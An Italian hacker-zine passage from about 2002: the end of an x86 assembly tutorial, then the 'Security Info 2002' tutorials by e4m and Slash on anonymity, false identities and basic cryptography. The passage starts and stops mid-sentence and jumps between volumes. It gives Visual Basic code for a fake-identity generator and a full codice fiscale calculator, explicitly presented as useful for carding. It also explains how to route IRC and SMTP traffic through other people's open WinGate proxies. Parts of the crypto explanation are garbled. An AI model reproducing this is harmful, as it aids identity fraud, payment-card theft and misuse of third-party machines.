eax,[ebx+20h] add eax,[ebx+ecx*2h lea eax,[ebx+ecx] sub eax,[ebx+ecx*4h-20h] Sintassi AT&t: instr %segreg:disp(base,index,scale),foo movl 0x20(%ebx),%eax addl (%ebx,%ecx,0x2),%eax leal (%ebx,%ecx),%eax subl -0x20(%ebx,%ecx,0x4),%eax Le Syscalls ,possono essere eseguite tramite il servizio di interruzione del linux: $0x80 interno. Per tuttw le syscalls, il numero dello syscall va in %eax. Per gli syscalls che hanno piu' meno di sei args, i args vanno in %ebx, %ecx, %edx, %esi, %edi nell'ordine. Il valore di ritorno dello syscall e' memorizzato in %eax. Quindi l' fd va in %ebx, il buf va in %ecx, il conteggio va in %edx e SYS_write va in %eax. Cio'e' seguito da un $0x80 interno che esegue il syscall. Il valore di ritorno dello syscall e' memorizzato in %eax. Il numero dello syscall puo' essere in trovato/usr/include/sys/syscall.h. Le macro sono definite come nome di SYS_ cioè SYS_exit, SYS_close, ecc. Ecco a voi un Hello Word scritto in asm per linux: $ cat write.s .data hw: .string "hello world\n" .text .globl _start _start: movl $SYS_write,%eax movl $1,%ebx movl $hw,%ecx movl $12,%edx int $0x80 movl $SYS_exit,%eax xorl %ebx,%ebx int $0x80 $ gcc -c write.s $ ld -s -o write write.o $ wc -c ./write 408 ./write Certamente qui cambiano molte cose che nemmeno conosco! In effetti non cambiano molte cose , ma come ben sappiamo basta una virola in piu' che il nostro compilatore ci da un errore! Ma e' cosi' in tutti i linguaggi! Almeno vi ho detto qualcosa pure per linux! -----------[ FINE ]--------------------------------------------------------------------------------------------------------------------------- Quello che c'era da capire e' stato capito vero?? :) Dai.. non e' poi un linguaggio troppo difficile , se poi ti aspettavi qualcosa come : @echo off echo W la figa :) Hai scelto il tute sbagliato! Comunque ora certamente ne saperai un po di piu! Vabbe' se le sapevi fa niente ,mi son divertito a scribverlo anche perche' ho imparato alcune cose e mi sono informato! Bella esperienza anche se un po' lunghetta :PP Vi ragalo un bel ftp : ftp://x2ftp.oulu.fi/pub/msdos/programming/docs/interXX[a-d].zip Qui troverete il magico libro : "Ralf Brown's Interrupt List" gratis!! Sapete gia' cosa farne, vero!! ;-) dove xx e' la versione,l' Elenco delle istruzioni invece: Se avete TASM, il "Borland Turbo Assembler Quick Reference" contiene l'elenco delle istruzioni e delle temporizzazioni aggiornato fino al 486. Anche l'"Intel Pentium Family User's Manual: Volume 3" e' ugualmente utile. Un libro che copre entrambi gli argomenti ed e' anche un valido riferimento generale e': The Revolutionary Guide to Assembly Language Vitaly Maljugin, Jacov Izrailevich et al Wrox Press ISBN: 1-874416-12-5 Qui finisce pure quest'altro tute! Rigrazio tutti quelli che hanno prestato un po del loro tempo per darmi una mano! __________________________________________________________________ |"*"|Coded by e4m____________________________________________|*|-|x| |101010101010101010101010101010101010101010101010101010101010101010| |010101010101010101010101010101010101010101010101010101010101010101| |010101010101010111010101001000100010100100101001010101010410101010| |10| \ 01010101 / \101010101/ \/ \01000| |10| ________| 01010101/ /| |01010101/ \1011| |10| |________ 010101 / /0| |0101010| /\ /\ |100| |01| | 101011/ /01| |0101010| /0 \ /01\ |110| |10| ________| 10100/ /010| |0101010| |01 \/010 | |010| |01| |0101010110101/ /0100| |0101001| |010101010| |110| |01| |01010101010_/ \0110| \____ | |010101010| |011|_____ |10| |/ \ | \01010101/ |100|!!!!/ |01|______________/|_______ ___________||_____\010101/_____|011|!!!/ |011010010101010101011101010| |010101001010101010101010101010101|!!/ |010101011010101100100101010| |010101010101010101010101010101010|!/ |010010100101001010010101001|____|010101011101010101010101001101010|/ -------------------------------------------------------------------- E4M |--------------------------------------------------------| |Art. N° <19> : "Security Info 2002 vol.1" di e4m e Slash| |--------------------------------------------------------| Name: Security info 2002 Ideated by :e4m Written by :e4m,Slash Crew: Www.bfc.too.it - Mirror: Www.e4m.linux-dude.coM Info: ------------------------------------------------------------------------------------------------------------------------------------------------------------ Questo tutorial , Scritto da e4m e _Slash_ Membri della #bfc - Black Force Crew - , e' a scopo assolutamente illustrativo vi mostreremo attraverso la programmazione come crarci un buon proggy che generi identita' false (CodeFiscale,Nome,Cognome,Lavoro,Indirizzo,Telefono,Mail,Carding).Spiegheremo inoltre la funzione di Pgp (Pretti good privacy( e qualche altro algoritmo come l'Md5 Quello di Huffman..Cifraure tecniche etc.. VI diVerTiRetE!!!.. Prima di cominciare e' bene dire che non ci assumiamo alcuna responsabilita' di quanto potete combinare! Useremo la programmazione Basic E c! Quindi munitevi,e quando siete pronti fate un fischio! ..Ora divideremo questo testo in varie parti per renderlo piu' leggibile e gradevle! Best Wiev With Terminal (in win) : ------------------------------------------------------------------------------------------------------------------------------------------------------------ * Menu Volume 1: (SecuritY Info -Mask-Coding) +----------------------------------+------+ |1) Varie ed eventuali | e4m | +----------------------------------+------+ |2) Iniziamo col Visual Basic | slash| +----------------------------------+------+ |3) Costruiamo l'algo del CodeFisc.| e4m | +----------------------------------+------+ |4) Prime delucidazioni | e4m | +----------------------------------+------+ * Menu Volume 2: (SecuritY Info -Algoritm-Code Tecnik-) +----------------------------------+------+ |1) Sistemi e algoritmi,crittazione| e4m | +----------------------------------+------+ |2) Ultime delucidazioni! | e4m | +----------------------------------+------+ *Menu' Volume B0nU$: (SecuritY Info -New System Code-) +-----------------------+-----+ |1) Huffman Cifrature | e4m | +-----------------------+-----+ |3) Chiudere in bellezza| e4m | +-----------------------+-----+ +-----------------------+ |1| vARIE eD eVENTUALI | +-----------------------+ Oggi come oggi ,definire Privacy e' sbagliato quasi del tutto non esiste una veria e propria Intimita' in rete ,dovunque finirete vi troverete loggati lo stesso se userete un proxy che non fanno altro che reidirizzare l'ip che verra` mandato al proxy, che vi si colleghera`, scarichera` la pagina principale e ve la mandera`. L'IP address registrato dal sito sara` quello del proxy, in quanto e` stato il proxy server a collegarsi al sito, non voi risalire ad una catena o usare un back trace e' una pippata il sysadmin avra' il vostro ip e molte altre informazioni su di voi (da quale pagina provenivate, che tipo e versione di browser utilizzavate, ecc).Vi diro' di piu' sui proxy: Il Proxy Server puo' essere utilizzato come un mezzo poco costoso per collegare una intera azienda attravaerso un solo indirizzo IP. Puo' essere usato inoltre per permettere connessioni "inbound" piu' sicure alla vostra rete interna da Internet. Usando Proxy Server, sarete capaci di proteggere meglio la vostra rete dalle intrusioni. Puo' essere configurato per permettere alla vostra intera rete privata di accedere ad Internet, e allo stesso tempo bloccare ogni tentativo di connessione in entrata. .. Inoltre la shell e' ugualmente (piu' pericolosa) e rintracciabile Ma e' anche un mezzo di mask ..Funziona come I proxy!. Diciamo che esiste una sorta di privacy molto piccola. Forse una piccola alternativa solo i wingate.. vI spiego brevemento cosa sono: WinGate e' un programma per Win utilizzato nelle LAN per far accedere diversi computer alla rete per mezzo di un solo modem e di un computer che, come si dice, fa da gateway, da ponte, diciamo. Tale programmino apre una porta 23 (quella di telnet :) suicomputer in cui e'installato: tramite tale porta e il telnet noi avremo un account, e tramite questo potremo collegarci da altre parti, spedire email,usare IRC sempre con l'IP del computer che ci ospita (ah, cosa importante, spesso questo programma non logga nemmeno chi si collega a lui, quindi potete stare piu' tranquilli dei proxy MA non TROPPO. Trovarli e' difficile... o fate uno scan con il famoso WingateScan.. ma il bello viene ora : Molti server IRC rifiutano le connessioni da parte di WinGates e bannano chi fa richieste di connessioni di questo tipo: tali rifiuti si chiamano 'g-line'.ma.. se scrivete su un programma IRC (mIRC dovrebbe andar bene): /stats g vi si dovrebbero fornire una serie di IP con una comunicazione del tipo "xxx.xxx.xxx.xxx insecure WinGate rejected" .. Avete l'ip ora pero' come usarlo? Usiamo telnet connettiamo all'ip porta 23! vi da' il benvenuto una bella scritta 'WinGate>'... si puo' anche fare da Irc,funziona come tutti i Bouncer /server xxx.xxx.xxx.xxx 23.. Dopodiche' collegatevi al vostro server IRC preferito con /raw irc.azzurranet.org (RAW tipo di comunicazione) Ora siete "gateati"! e indicate il vostro nick e il vostro username (/raw nick Lol) (/raw user Lol 0 0 :SburroNet) a volte alcui programmi irc potrbbero usare /quote al posto di /raw ! Mandare mail col Wingate e' un altra facile cavolata basta colegarsi alla 25 (SMTP) mail.Figa.com 25 .. Userete i sliti comandi Smtp tipo HELO 'nome del host' , MAIL FROM: 'indirizzo' . Abbiamo visyto come funzionano i Wingate lo stesso potrete essere scovati! Anche i remailers sono spesso usati per reindirizare l'ip ad una nuova macchina e spessono sono usati con Pgp ..ne parleremo nel secondo volume!Ritornando all'anonimita' .Ora incominciamo con il basic lascio txt e tastiera a Slash che vi spieghera' come creare un semplice programmino che Randomizzi una serie di dati Nome Cogmnme pass ..(Ossia un creatore di identita' false)! ------------------------------------------------------------------------------------------------------------------------------------------------------------ +------------------------------+ |2| Iniziamo col Visual Basic | +------------------------------+ Bene... allora iniziamo :þ Ora spiego le principali funzioni di un programma che crea false identità. Questo prog. non fa altro che randomizzare dei numeri ke sono associati ad un nome (ad esempio se il numero randomizzato è 1 il nome è Marco, se invece viene fuori il 2 il nome è Giulio ecc...), quindi quello ke rompe di + fare è scrivere questa "infinita" lista di nomi e associarli ognuno ad un numero. La funzione randomize è piuttosto semplice: Randomize variabile = Int(Rnd(1) * 20 + 1) Questo codice permette di randomizzare i numeri da 1 a 20. Quindi in poche parole bisogna fare una cosa del genere: Randomize nome1 = Int(Rnd(1) * 20 + 1) If nome1 = 1 Then txtNome.Text = "Marco" If nome1 = 2 Then txtNome.Text = "Giulio" If nome1 = 3 Then txtNome.Text = "Mario" If nome1 = 4 Then txtNome.Text = "Giuseppe" If nome1 = 5 Then txtNome.Text = "Roberto" ecc... Per quanto riguarda la data di nascita, dovete solo stare attenti a quei mesi che hanno 30 giorni invece che 31 (oppure a febbraio ke ne ha 28 :P), ma questo non è un problema, infatti dopo avere randomizzato dei numeri in due variabili (in questo caso mm=mese gg=giorno) basta inserire queste semplici righe di codice: If mm = 2 And gg > 28 Then fallo 'se il mese è il 2(febbraio) e il giorno è maggiore di 28 'allora torna a "fallo" (in questo caso fallo sarebbe il 'sub dove vengono randomizzati gg e mm) If mm = 11 And gg > 30 Then fallo If mm = 4 And gg > 30 Then fallo If mm = 6 And gg > 30 Then fallo If mm = 9 And gg > 30 Then fallo Tutto qui... non è difficile, l'importante è ragionare sulle kose e sui problemi incontrati e cercare di risolverli con quello ke si sa... Adesso qui sotto è riportato il sorgente di un generatore di codici fiscali utile per scrivere un programma che crea false identità. ------------------------------------------------------------------------------------------------------------------------------------------------------------ +----------------------------------+ |3| Algoritmo del codice fisacale | +----------------------------------+ Il codice fiscale e' molto importante per chi vuole fare carding o cose simili.. Esso non corrisponde al nome all'eta' cognome Logico!!! E' un buon passo per iniziare il nostro lavoro all'anonimity e' una delle chiavi primarie!!.. Che implementerete nel Vb per completare il tutto! .Ora Ci sono da tenere a mente 6 cose: Cognome: Si prendono le tre prime consonati Nome: Si prendono le prime tre consonanti Anno di nascita: Si prendono le ultime 2 cifre Mese di nascita': E' identificato da una lettera Per: { Gennaio A Febbraio B Marzo C Aprile D Maggio E Giugno H Luglio L Agosto M Settembre P Ottobre R Novembre S Dicembre T } Giono di nascita: si usa il numero del giorno (per le persone di sesso femminile viene aumentato di 40) Luogo di nascita: e' identificato con sigle stabilite dal ministero delle finanzre ;Esempio milano e' F205 Ho allegato una Tabella-database che Funzionera' assieme al nostro amico Vb! Il codice e' completato da una lettera della di controllo che ora verra' spiegato come calcolarla! Ora faccio prima un esempio: Nome: Roberto Cognome: Ferrini Nato a : Roma Mese : C Anno :74 Giorno :25 Allora ..Si parte sempre dal cognome poi nome anno mese giono luogo! [ F R R R B R 7 4 C 2 5 H 5 0 1 V ] Ingredienti: ----------------------------------------------- *7 tetxt Box -txtCodiceFiscale -txtCognome -txtNome -txtDataNascita -txtComune -txtProvincia -txtCodice *1comboBox -cboSesso *2command -cmdElabora -cmdExit Ricetta: ------------------------------------------------ Option Explicit Public Db As Database Public Comuni As Recordset Private Sub cboSesso_Change() cmdElabora.Enabled = True End Sub Private Sub cboSesso_Click() cmdElabora.Enabled = True End Sub Private Sub cmdElabora_Click() If IsDate(txtDataNascita.Text) = False Then MsgBox "La data di nascita non e' valida." Else txtCodiceFiscale = CalcoloCodFis(txtCognome.Text, txtNome.Text, CVDate(txtDataNascita.Text), cboSesso.Text, Trim(txtCodice.Text)) cmdElabora.Enabled = False End If End Sub Private Sub cmdExit_Click() Dim Risposta As VbMsgBoxResult Risposta = MsgBox("Sicuri di voler uscire?", vbYesNo Or vbQuestion, "Uscita") If Risposta = vbYes Then Comuni.Close Db.Close End End If End Sub Private Sub Form_Load() cboSesso.AddItem "M" cboSesso.AddItem "F" cboSesso.ListIndex = 0 cmdElabora.Enabled = False On Error GoTo ErrFas Set Db = OpenDatabase(App.Path & "\Comuni.mdb", False, False) Set Comuni = Db.OpenRecordset("Comuni") Comuni.Index = "COMUNI2L" Exit Sub ErrFas: MsgBox ("FasMsg: " & Err.Number & " " & Err.Description) Err.Clear End Sub Function CalcoloCodFis(ByVal Cognome As String, ByVal Nome As String, ByVal DataNascita As Date, ByVal Sesso As String, ByVal Provincia As String) As String Dim Temp As String Dim Vocali As String Dim Consonanti As String Dim I As Integer Dim AppoNum As Long Dim TempNum As Long Dim TxtCodFis As String TxtCodFis = "" Cognome = UCase(Cognome) Vocali = "" Consonanti = "" For I = 1 To Len(Cognome) If InStr("AEIOU", Mid(Cognome, I, 1)) Then Vocali = Vocali & Mid(Cognome, I, 1) ElseIf InStr("BCDFGHJKLMNPQRSTVWXYZ", Mid(Cognome, I, 1)) Then Consonanti = Consonanti & Mid(Cognome, I, 1) End If If Len(Consonanti) = 3 Then Exit For Next If Len(Consonanti) < 3 Then Consonanti = Consonanti & Left(Vocali, 3 - Len(Consonanti)) If Len(Consonanti) < 3 Then Consonanti = Consonanti & String(3 - Len(Consonanti), "X") TxtCodFis = Consonanti Nome = UCase(Nome) Vocali = "" Consonanti = "" For I = 1 To Len(Nome) If InStr("AEIOU", Mid(Nome, I, 1)) Then Vocali = Vocali & Mid(Nome, I, 1) ElseIf InStr("BCDFGHJKLMNPQRSTVWXYZ", Mid(Nome, I, 1)) Then Consonanti = Consonanti & Mid(Nome, I, 1) End If Next I If Len(Consonanti) >= 4 Then Consonanti = Left(Consonanti, 1) & Mid(Consonanti, 3, 2) ElseIf Len(Consonanti) = 3 Then ' Non fa niente, solo per impedire che questa possibilità cada nell'ELSE finale Else Consonanti = Left(Consonanti & Vocali, 3) If Len(Consonanti) < 3 Then Consonanti = Left$(Consonanti & "XXX", 3) End If TxtCodFis = TxtCodFis & Consonanti TxtCodFis = TxtCodFis & Right(Format(Year(DataNascita), "0000"), 2) TxtCodFis = TxtCodFis & Mid("ABCDEHLMPRST", Month(DataNascita), 1) If UCase(Sesso$) = "F" Then TxtCodFis = TxtCodFis & Format$(Day(DataNascita) + 40, "00") Else TxtCodFis = TxtCodFis & Format$(Day(DataNascita), "00") End If TxtCodFis = TxtCodFis & Provincia TempNum = 0 I = 1 Do AppoNum = InStr("B1A0KKPPLLC2QQD3RRE4VVOOSSF5TTG6UUH7MMI8NNJ9WWZZYYXX", Mid(TxtCodFis, I, 1)) TempNum = TempNum + ((AppoNum - 1) And &H7FFE) / 2 I = I + 1 If I > 15 Then Exit Do AppoNum = InStr("A0B1C2D3E4F5G6H7I8J9KKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ", Mid(TxtCodFis, I, 1)) TempNum = TempNum + ((AppoNum - 1) And &H7FFE) / 2 I = I + 1 Loop TempNum = TempNum Mod 26 TxtCodFis = TxtCodFis & Mid("ABCDEFGHIJKLMNOPQRSTUVWXYZ", TempNum + 1, 1) CalcoloCodFis = TxtCodFis End Function Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) Dim Risposta As VbMsgBoxResult Risposta = MsgBox("Sicuri di voler uscire?", vbYesNo + vbQuestion, "Uscita.") If Risposta = vbYes Then Comuni.Close Db.Close Else Cancel = 1 End If End Sub Private Sub txtCognome_Change() cmdElabora.Enabled = True End Sub Private Sub txtComune_Change() cmdElabora.Enabled = True End Sub Private Sub txtComune_KeyUp(KeyCode As Integer, Shift As Integer) Dim S As String Dim TmpStr As String Dim Colore As Long On Error GoTo ErrFas Colore = 0 TmpStr = Trim(txtComune.Text) If TmpStr = "" Then txtComune.Tag = TmpStr Exit Sub End If If Len(TmpStr) = 1 Then S = TmpStr Comuni.Seek ">=", TmpStr If Not Comuni.EOF And Not Comuni.NoMatch Then If UCase(TmpStr) = UCase(Mid(Comuni!COMU_DESCR, 1, Len(TmpStr))) Then If Len(TmpStr) > Len(txtComune.Tag) Then txtComune.Text = Comuni!COMU_DESCR txtComune.SelStart = Len(TmpStr) txtComune.SelLength = Len(txtComune.Text) - (Len(TmpStr)) txtProvincia.Text = Comuni!COMU_PROV txtCodice.Text = Comuni!COMU_COD End If Else If txtComune.ForeColor = 0 Then MsgBox "Comune non in elenco.", vbExclamation, "Attenzione!" Colore = &H80& txtProvincia.Text = "?" txtCodice.Text = "?" txtComune.SetFocus End If End If If txtComune.ForeColor <> Colore Then txtComune.ForeColor = Colore txtComune.Tag = TmpStr Exit Sub ErrFas: MsgBox ("FasMsg: " & Err.Number & " " & Err.Description) Err.Clear End Sub Private Sub txtDataNascita_Change() cmdElabora.Enabled = True End Sub Private Sub txtDataNascita_LostFocus() If IsDate(txtDataNascita.Text) = False Then txtDataNascita.ForeColor = &H80& Else txtDataNascita.ForeColor = 0 End If End Sub Private Sub txtNome_Change() cmdElabora.Enabled = True End Sub ------------------------------------------------------------------------------------------------------------------------------------------------------------ +------------------------+ |4| Prime delucidazioni | +------------------------+ Le cose ora dovrebbero' gia esservi piu chiare (almeno spero!) Abbiamo visto come essere un po' anonimi oppure se hakkiamo un sitoweb saremo anonimi! Quindi abbiamo visto I Gatway Wingate Proxy Dopo ci collegheremo al Pgp con i Remailers ,infine ora vi spieghero' come funziona l' IP-MASQERADING. Innanzitutto l'IpMasquerading e' una funzione di rete dei sistemi *nix che permette di dare accesso ad Internet ai computer 'host' di una LAN . Queste funzioni sono state implementate nel Kernel 2.2.x in fase finale ma i piu vecchiotti noteranno che gia c'erano since 1.3.x. Quindi..mettiamo che il PC LINUX , con la funzione IPM installata, abbia accesso al suo provider con IP 111.222.333.444 tramite SLIP o PPP...allora il PC host deve, per entrare in Internet, 'passare' dal suo GATEWAY cioe' il PC con linux effettivamente collegato ad Inet Ad esempio (3modem - Linux (GATEWAY) SLIP/PPP ) Quindi: SLIP/PPP (gateway) [Client] modem ----------- modem2[LINUX] -----------> modem3 Per abilitare cio' basta dare il cmd (Yes) quando compilate il kernel: * Prompt for development and/or incomplete code/drivers CONFIG_EXPERIMENTAL - this will allow you to select experimental IP Masquerade code compiled into the kernel * Enable loadable module support CONFIG_MODULES - allows you to load ipmasq modules such as ip_masq_ftp.o * Networking support CONFIG_NET * Network firewalls CONFIG_FIREWALL * TCP/IP networking CONFIG_INET * IP: forwarding/gatewaying CONFIG_IP_FORWARD * IP: firewalling CONFIG_IP_FIREWALL * IP: masquerading CONFIG_IP_MASQUERADE * IP: ipportfw masq support CONFIG_IP_MASQUERADE_IPPORTFW * IP: ICMP masquerading CONFIG_IP_MASQUERADE_ICMP * IP: always defragment CONFIG_IP_ALWAYS_DEFRAG * Dummy net driver support CONFIG_DUMMY Aggiungere ora in /etc/rc.d/rc.local la seguente per far caricare i moduli in / lib/modules/2.2.x/ipv4/ /sbin/depmod -a /sbin/modprobe ip_masq_ftp /sbin/modprobe ip_masq_raudio /sbin/modprobe ip_masq_irc Finalmete configurato il Masquerade in Linux! Ora vediamo come usarlo!: Ora un ulteriore esempio : dove Client1 Client2 Client3sono i PC host e Linux e' il GATEWAY: Client1-----+ | Client2-----|-->Linux masq-gate---> Internet connection | Client3-----+ Rispettivamente: 122.168.1.1 192.168.1.2 192.168.1.3 192.168.1.4 e si deve assegnare 192.168.1.1 al pc GATEWAY! Da win : Pannello di di controllo--->Reti --->Indirizzo IP Mettete 192.168.1.x (1 : "Security Info 2002 vol.2" di e4m| |------------------------------------------------| +----------------------------------+ |1) Sistemi e algoritmi,crittazione| +----------------------------------+ Se avete trovato il volume 2 interessante troverete altrettanto carino questo secondo in cui vi parlero' di Crittazzione! Qualcumo mi dira' cosa centra con l'anonimita' e la sicurezza!? Io vi diro' centra eccome!! La crittografia (scrittura nascosta) e' una scienza antica che si occupa dei metodi di cifratura delle informazioni, al fine di rendere trasparente i messaggi tra un mittente e un destinatario ma praticamente illegibili a terze persone occhi indiscreti :).Il mittente crittografa il messaggio tramite delle chiavi che sono in possesso anche del destinatario in modo che quest'ultimo possa decifrarlo. Nella crittografia la codifica viene costruita in modo che il processo di decodifica possa essere attuato solo se si e' in possesso della chiave traduttrice. La crittografia e' in realte' una branca di una scienza piu' ampia: la crittologia, che oltre a comprendere la crittografia stessa, comprende anche la crittoanalisi (analisi di cio che e' nascosto) che si occupa di analizzare i dati di una trasmissione crittografata in modo da poterli intercettare e cercare di tradurli, la crittoanalisi verrà analizzata successivamente. Gli algoritmi di crittografia possono essere classificati sotto due principali categorie riguardanti il tipo di chiave utilizzata: simmetrici (chiave segreta), asimmetrici (chiave pubblica). Ho gia' spiegato qulcosina nell volume Connessioni crittate Ssh (2volumi). Chiariremo stavolta L'algoritmo informatico e le chiavi! in modo piu specifico. Negli algoritmi a chiave simmetrica, la chiave utilizzata nel processo di decodificazione e codificazione e' la stessa; negli algoritmi a chiave asimmetrica invece ci sono due tipi di chiavi, una privata in mano solo al mittente dei messaggi, e una pubblica che resa a disposizione di tutti permette di decifrare i messaggi crittografati con la chiave privata, ma non permette di crearli, quindi mette in evidenza l'autenticità del mittente. Gli algoritmi simmetrici e asimmetrici possono esistere entrambi per esempio con la chiave pubblica viene codificata una chiave di crittografia generata casualmente, e quest'ultima e' utilizzata per crittografare il messaggio utlizzando un algoritmo simmetrico, questa e' per esempio l'implementazione del PGP (Pretti Good Privacy). Quindi e' intuitivo il fatto che ci siano piu' sistemi di crittazioni..Infatti il metodo di crittazione dei messaggi, cioè il portare un messaggio da testo in chiaro a testo crittografato e' basato su una chiave che rappresenta una funzione, e un buon algoritmo di crittazione.Noi analizzeremo tre di esse che vanno sotto il nome di : -Sostituzione E' l'agoritmo piu (demenziale=) di tutti! Consiste nel sostituire ogni lettera o un gruppo di lettere da altre lettere contenute nell'alfabeto: Si danno quindi 2 schemi confrontabili : alfabeto normale: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z alfabeto cifrato: D E F G H I J K L M N O P Q R S T U V W X Y Z A B C Testo in chiaro: CIAO Testo crittografato: FLDR Questo esempio e' molto semplice esistono comunque metodi di sostituzione piu' complicati. Un po' assomiglia all'algoritmo di Cesare :) Ke mi fu spiegato dal mio vecchio amico anetrip! Chissa' se vanno bene i tuoi esami In bocca al lupo!!! In pratica ,ritornando a noi, si tratta di publicare la tavola ascii ed assegnare ad ogni lettera e carattere il suo successore! (molto facile da costruire in vb)! -Trasposizione La trasposizione e' un altra tecnica usata per crittografare un messaggio, analizziamo adesso la trasposizione per colonna che data una certa chiave, costruisce il testo cifrato in base al riordinamento del testo sulle colonne della chiave, facciamo un esempio per chiarire il concetto: Prendiamo una chiave qualsiasi : chiave = BOOKS Prendiamo un messaggio in chiaro msg = ciao sei un grandissimo geysha! (ehhehe) Ora creiamo la tabella: B O O K S c i a o s e i u n g r a n d i s s i m o g a y s h a ! di questa tabella si prendono le colonne in ordine alfabetico basate sulle lettere delle chiavi, in questo caso prima la colonna B poi K poi le colonne con due O e infine la colonna con la lettera S.Infine avremo: testo in chiaro : ciao sei un grandissimo gaysha! testo crittografato : cersga ondms iiasa! sgioh chiave: BOOKS Fighissimo,vero??? A me piace molto!! -One-time pads L'algoritmo di questa tecnica e' il seguente: -Si sceglie una stringa casuale di bit che rappresenta la mia chiave. -Successivamente di trasforma il testo in chiaro in bit. -Si effettua l'operazione logica di or esclusivo tra la chiave e il testo tradotto in bit e si ottiene cosi il testo crittografato. Naturalmente questa tecnica presenta degli inconvenienti che vanno dalla presenza della chiave sia nella macchina del mittente e del destinatario, dalla quantita' di dati che puo' essere trasmessa, dipendente dalla lunghezza della chiave visto che l'operazione dell'or esclusivo deve essere fatta tra testo e chiave e infine dalla sensibilita' di perdita dei dati visto che si lavora con singoli bit. Le tecniche sia della sostituzione sia della trasposizione vengono riprodotte attraverso circuiti elettronici noti come P-box (P sta ad indicare permutazione) nel caso di trasposizione, e S-box nel caso di sostituzione, questi circuiti vengono in generale chiamati Product cipher, lo standard per la creazione di questi circuiti vanno sotto il nome DES. (Sembra un casino ma ora ve lo spiego a quattrocchi=) In pratice e' una chiave non molto flessibile i quali bit possono variare .La stringa quindi viene trasformata in Bit . Stringa mia--->bit Or esclusuivo (non inclusivo,badate bene (o l'uno o l'altro)) Key=Figa Bit =XX Testo= Fxixxgxa. Quindi: Testo= Fxixxgxa Or Key=Figa (Non e' facilissimo ma...) Ora ci divulgheremo un po su MD5 PGP quindi le funzioni HASH ! Chi sara' mai costui? Le funzioni hash sono funzioni particolari che permettono di dare un impronta digitale che identifica univocamente il messaggio di partenza; sono quindi funzioni che creano una stringa associata al messaggio da spedire e per il quale una volta applicata la funzione non dovrebbe essere più possibile ritornare al testo originale. Un esempio di funzione hash che distribuisce in modo abbastanza uniforme le chiavi, è quella di prendere un grande numero primo M, e per ogni chiave k , la funzione H(k) = k mod M, questo tipo di funzione viene usata in molti ambienti di sviluppo! Come anche il c! Un esempio sui sistemi Linux può essere dato dall'algoritmo md5 che dato un file come opzione, crea una chiave hash a 128 bit. MD5 come i precedenti, E' stato ideato da Ron Rivest della RSA Data Security. e' nato per sostituire MD4 che sta per essere violato! Non cambia molto sulla struttura, è solo un'estensione del suddetto anche se un po' piu' lento. MD5 e' disponibile liberamente a: ftp://ftp.funet.fi:/pub/crypt/hash/mds/md5 Non ho mai usato MD5 ma ho trovato un pratico esempio bash-2.01$ md5sum source.gif aa7229830893b7b30bb0cf23a9fa5abc source.gif il risultato viene espresso con 16 cifre esadecimali. Riassumendo le due più importanti caratteristiche che legano le funzioni hash alla crittografia abbiamo, prima la verifica dell'integrità di un certo messaggio, confrontando l'impronta digitale di partenza con quella di arrivo. Un po' come One Times! Ho trovato alcume proprieta': MD5: *il testo e' diviso in blocchi 512 bit. *viene generato un hash di 128 bit. *E' basto su XOR e operazioni logiche (collegate all'assembly) *unico svantaggio e' che e' un po' piu' lento del precedente. Ora non vi resta che' approfondire sulla funxzione delle chiavi col client Ssh ! Fin qui e' tutto chiaro? Bene ora non ci resta che parlare del Pgp! Pretty good privacy esiste pure in win in pratica si compone in Asimmetrica e Simmetrica serve per inviare messaggi crittati! (logico?!?) www.pgpi.com I remailers non fanno altro che reindirizzare la nostra posta quindi la lettera arrivera' al remailer che a sua volta lo rimandera' a lol@tin.it, adesso per coprire un po' di piu' il vostro messaggio potete crittarlo col PGP. I remailser sono di tipo 0 e 1 se mi ricordo bene.. Di tipo 0 : ogni volta che mandate ad uno di questi remailer (per esempio: anon@anon.penet.fi) loro vi forniscono un ID casuale e strippano le informazioni nell'header sostituendole con questo ID . L'header della posta e' quella roba che potete ricavarne facendo proprieta' alla mail! remailer CypherPunk (detti di Tipo 1) sono estremamente piu' sicuri dei precedenti per il semplice fatto che ci premettonp di crittare la posta ,abbiamo la possibilita' di concatenare piu' remailer tra loro . Possiamo usare il pgp! Questa e' una prova di come dovete spedire una mail crittata (crittate il messaggio con il programma 6 o superiore con Text Output): Encrypted: PGP -----BEGIN PGP MESSAGE----- Version: PGPfreeware 6.0.2i hQCMA98tceHEP7bpAQP/aIgwnTmh73X0M1KTMRXLtOeG8qCm1ejQwBTXnJ7NJrS3 qsY4GZTyHmy86U17XRay1nM2GC6eCv81EuZsejQolG4P7kxTX1Ywl2PuPceZPQ3m JkEbhcNNXIgXqWkc1p/ahb9AnJ08hdi9J+FBcjiI5wUDffaOOSNkOuUoKPhjKTyk kybbDH8B9GWNd0ruHxQDESWqFDlI2c3naYyxyErH8Kww3NbPjCYcZ07UfxE7LEr9 /gU2hPvOYpj49h6Nm3rRVlS9Kqve9Yr5D6PNxbsP1ege4CMO7uJXG0+r+PdEhZ1R 3CbQOlDANpsmhFVzbxN3bHB/CLFzVg16QrFceYPsO4OZpENAU0Eb3tYv1LRlGn2U lIhzdQ== =D7/d -----END PGP MESSAGE----- la stringa Encrypted:PGP che serve a dire al remailer che gli state mandando un messaggio crittato ovviamente dovete mettere nel campo A: l'indirizzo del vostro remailer. Oppure vari destinatari criptati con il distacco dei ":". :: Request-Remailing-To: Cannabis@legalizzazione.com :: Request-Remailing-To: Sburro@lol.it :: Request-Remailing-To: figa@marja.it :: ------------------------------------------------------------------------------------------------------------------------------------------------------------ +----------------------------------+ |2) Ultime delucidazioni! | +----------------------------------+ Alla fine l'abbiam fatto! Che mal di testa! Yuhu domani e'SanValentino..si tromba (sese...) cmq vi e' piaciuto st tute? Se si mandate la somma di 10 euro all'indirizzo ... heheh .Bene apparte gli scherzi non e' ancora finito! Ora vi parlero' in grandi linee della crittografia! Crittografia Vediamo ora in dettaglio quelli che sono gli elementi che costituiscono la base su cui si poggia la crittografia, partendo da quello considerato da tutti fondamentale: il cifrario. Cifrario Il termine cifrario indica il procedimento utilizzato per ottenere il testo cifrato partendo dal testo in chiaro. Esistono innumerevoli tipologie di cifrari e nel nostro caso, sarebbe sicuramente na rottura di palle vederle tutte, quindi, ho pensato di sviluppare l'argomento in modo tale da poter consentire un analisi approfondita di un semplice algoritmo crittografico quale il DES. Non mi soffermero' quindi su tutte le varianti dei vari cifrari ma esclusivamente su quelle necessarie per raggiungere l'obbiettivo appena esposto. Iniziamo vedendo il cifrario piu'semplice, quello a blocchi. I binari vengono divisi in blocchi di lunghezza fissa a cui viene applicata in sequenza la trasformazione della 